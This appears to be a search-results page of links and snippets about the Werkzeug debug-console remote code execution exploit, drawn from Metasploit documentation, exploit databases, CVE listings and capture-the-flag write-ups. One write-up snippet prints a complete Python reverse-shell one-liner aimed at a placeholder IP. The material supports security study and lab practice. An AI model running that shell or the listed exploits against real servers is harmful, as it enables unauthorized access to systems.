🌐
GitHub
github.com › rapid7 › metasploit-framework › blob › master › documentation › modules › exploit › multi › http › werkzeug_debug_rce.md
metasploit-framework/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md at master · rapid7/metasploit-framework
Do: set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py (where <python3.version> matches the version on the system being exploited) ... You should see a failure due to the check failing. Method of authentication. Valid values are: generated-cookie: Cookie generated from information provided about the application's environment. When this mode is used, the following additional options must be set: APPNAME: The name of the application according to Werkzeug.
Author   rapid7
🌐
Exploit-DB
exploit-db.com › exploits › 37814
Werkzeug - Debug Shell Command Execution (Metasploit) - Python remote Exploit
August 18, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - For list of all metasploit modules, visit the Metasploit Module Library. ... Name: Werkzeug Debug Shell Command Execution Module: exploit/multi/http/werkzeug_debug_rce Source code: modules/exploits/multi/http/werkzeug_debug_rce.rb Disclosure date: 2015-06-28 Last modification time: 2020-10-02 17:38:06 +0000 Supported architecture(s): python Supported platform(s): Python Target service / protocol: http, https Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888 List of CVEs: -
🌐
GitHub
github.com › rapid7 › metasploit-framework › blob › master › modules › exploits › multi › http › werkzeug_debug_rce.rb
metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb at master · rapid7/metasploit-framework
This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.
Author   rapid7
🌐
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
June 28, 2015 - Tested against the following Werkzeug versions: - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 - 1.1.4 on Debian 12 - 1.0.1 on Debian 12 - 0.11.5 on Debian 12 - 0.10 on Debian 12 · To display the available options, load the module within the Metasploit console and run the commands 'show options' ...
🌐
CVE Details
cvedetails.com › product › 41301 › Palletsprojects-Werkzeug.html
Palletsprojects Werkzeug security vulnerabilities, CVEs, versions and CVE reports
Palletsprojects Werkzeug security vulnerabilities, CVEs, exploits, metasploit modules, vulnerability statistics and list of versions
🌐
GitHub
github.com › Fare9 › PyWerkzeug-Debug-Command-Execution
GitHub - Fare9/PyWerkzeug-Debug-Command-Execution: python exploit for werkzeug debug shell command execution · GitHub
python exploit for werkzeug debug shell command execution · People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.
Starred by 10 users
Forked by 8 users
Languages   Python
🌐
Rawsec
blog.raw.pm › en › HackTheBox-ScriptKiddie-write-up
ScriptKiddie - Write-up - HackTheBox - Rawsec - raw.pm
September 27, 2025 - A python web server (Werkzeug) ... ... This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template....
Find elsewhere
🌐
Vulners
vulners.com › zdt › werkzeug debug shell command execution exploit
Werkzeug Debug Shell Command Execution Exploit - exploit database | Vulners.com
August 17, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....
🌐
Medium
tastypepperoni.medium.com › hackthebox-scriptkiddie-walkthrough-91fa322750d7
HackTheBox — ScriptKiddie Walkthrough | by pepperoni | Medium
March 3, 2021 - Google “Werkzeug/0.16.1 exploit” and we find “Werkzeug Debug Shell Command Execution” · www.rapid7.com · Press enter or click to view image in full size · Let’s try it. Fire up metasploit… · Press enter or click to view image in full size · msfconsole ·
🌐
Rssing
advisories75.rssing.com › chan-6966477 › article7864.html
Metasploit: Werkzeug Debug Shell Command Execution
## # This module requires Metasploit: ... 'Name' => 'Werkzeug Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
2 days ago - Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled probably_public_bits and private_bits to create a hash, which then undergoes further processing to produce ...
🌐
Medium
software-sinner.medium.com › cyberseclabs-debug-4efd08e42d5a
CyberSecLabs-Debug. This is my sixth write up and I will be… | by Software Sinner | Medium
July 20, 2020 - In Werkzeug Debugger console typed this: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("yourip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); Press enter or click to view image in full size · Connection grabbed from netcat on my kali box · There was a Metasploit module available for this exploit but I wanted to figure this out the manual way for discipline.
🌐
CVE Details
cvedetails.com › cve › CVE-2019-14806
CVE-2019-14806 : Pallets Werkzeug before 0.15.3, when used with Docker, has insufficient debugger
March 3, 2023 - cpe:2.3:a:palletsprojects:werkzeug:*:*:*:*:*:*:*:* Matching versions · EPSS FAQ · 0.26% Probability of exploitation activity in the next 30 days EPSS Score History · ~ 50 % Percentile, the proportion of vulnerabilities that are scored at or less · CWE-331 Insufficient Entropy ·
🌐
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › python › werkzeug-pentesting
Introduction - Exploit Notes
January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve
🌐
Medium
nateahess.medium.com › htb-writeup-werkzeug-7bb0640d79f0
Hack The Box: Skript Kiddie — Werkzeug | by Nate Hess | Medium
December 29, 2022 - There we have it! We have officially exploited the Werkzeug vulnerability and established a reverse shell connection.
🌐
GitHub
github.com › MistSpark › Vigilant-Exploits › blob › master › Werkzeug_Exploit.py
Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
Written Exploits in different programming languages.. I Only write exploits that's missing from the Public. - Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
Author   MistSpark
🌐
Packet Storm
packetstormsecurity.com › files › 133110 › Werkzeug-Debug-Shell-Command-Execution.html
Packet Storm
August 17, 2015 - Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers
🌐
CVE Details
cvedetails.com › version › 1700837 › Palletsprojects-Werkzeug-3.0.1.html
Palletsprojects Werkzeug 3.0.1 security vulnerabilities, CVEs
Metasploit Modules · The Pallets Projects Werkzeug 3.0.1 · cpe:2.3:a:palletsprojects:werkzeug:3.0.1:*:*:*:*:*:*:* cpe:/a:palletsprojects:werkzeug:3.0.1 · https://github.com/pallets/werkzeug/tags Version · https://github.com/pallets/werkzeug/security/advisories/GHSA-hrfv-mqp8-q5rw Advisory ·